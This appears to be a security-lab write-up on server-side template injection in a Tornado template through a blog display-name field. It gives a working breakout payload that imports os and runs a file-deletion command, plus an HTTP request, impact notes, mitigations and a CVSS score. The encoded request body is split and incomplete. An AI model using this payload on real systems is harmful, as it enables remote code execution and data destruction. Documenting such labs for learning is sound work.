

Title of Issue

Server-Side Template Injection (SSTI) — Code Context Exploitation via Blog Preferred Name

Description

The application's blog post functionality allows users to set a preferred display name, which is rendered inside a Tornado template in "code context" — meaning the value is embedded directly within a template expression rather than as a standalone reflected string. This prevents simple `{{payload}}` injection but can be exploited by first breaking out of the existing expression context.

Affected Endpoint: `POST /my-account/change-blog-post-author-display` **Vulnerable Parameter:** `blog-post-author-display` **Template Engine:** Python Tornado

The template likely renders the preferred name as:

```
{{first_name}} {{blog-post-author-display}}
```

Because the injection point is already inside an expression context, the attacker must first escape the expression with `}}`, then inject arbitrary template statements.

Steps to Exploit

1. Log in as `wiener` (credentials: `wiener:peter`).
2. Navigate to **My Account** (`/my-account`).
3. Locate the **Preferred name** field for blog post display.
4. Enter the following payload to break out of the existing template expression and inject code:

```
}}{% import os %}{{os.system("rm /home/carlos/morale.txt")}}
```

5. Save the updated account settings.
 6. Navigate to any blog post that displays the author name (e.g., `/post?postId=1`).
 7. The template renders the preferred name field, triggering the injected code and deleting `/home/carlos/morale.txt` .
-

Proof of Concept

Payload (preferred name field):

```
}}{% import os %}{{os.system("rm /home/carlos/morale.txt")}}
```

HTTP Request (account update):

```
POST /my-account/change-blog-post-author-display HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=<wiener-session>

blog-post-author-
```

```
display=%7D%7D%7B%25+import+os+%25%7D%7B%7Bos.system(%22rm+%2Fhome%2Fcarlos%2Fmorale.txt;
<token>
```

Template rendering (conceptual):

Before injection, the template produces:

```
Hello, Peter!
```

After injection, the server-side template becomes:

```
Hello, }}{% import os %}{{os.system("rm /home/carlos/morale.txt")}}!
```

The `}}` closes the existing `{{` expression. The `{% import os %}` block then imports the OS module, and `{{os.system(...)}}` executes the deletion command.

Impact

- Remote Code Execution via a stored user-controlled input field.
- Deletion, modification, or exfiltration of any server-side files accessible to the application process.
- Full server compromise achievable by writing an SSH key or reverse shell to disk.
- Attack is persistent — the payload executes each time any blog post is rendered by any user.

Mitigation / Remediation

1. **Never embed user-supplied values directly inside template expressions** — always render them as escaped string literals outside of expression blocks.
2. **Use a sandboxed template environment** that disallows import of dangerous modules.
3. **Validate and sanitize all user-configurable display fields** — reject input containing `{{`, `}}`, `{%`, `%}`.
4. **Implement a Content Security Policy (CSP)** as a secondary defence layer.
5. **Audit all template rendering code** to identify locations where user data is embedded in code context vs. string context.

CVSS Score

CVSS v3.1 Score: 9.0 (Critical) CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via authenticated HTTP request
Attack Complexity	High	Requires understanding code context and escape sequence
Privileges Required	Low	Requires a valid user account (wiener)
User Interaction	None	Payload executes when any blog post is rendered
Scope	Changed	The injected code affects the server OS beyond the application

Confidentiality Impact	High	Full server file system read access
Integrity Impact	High	Arbitrary file modification and deletion
Availability Impact	High	Process termination or data destruction possible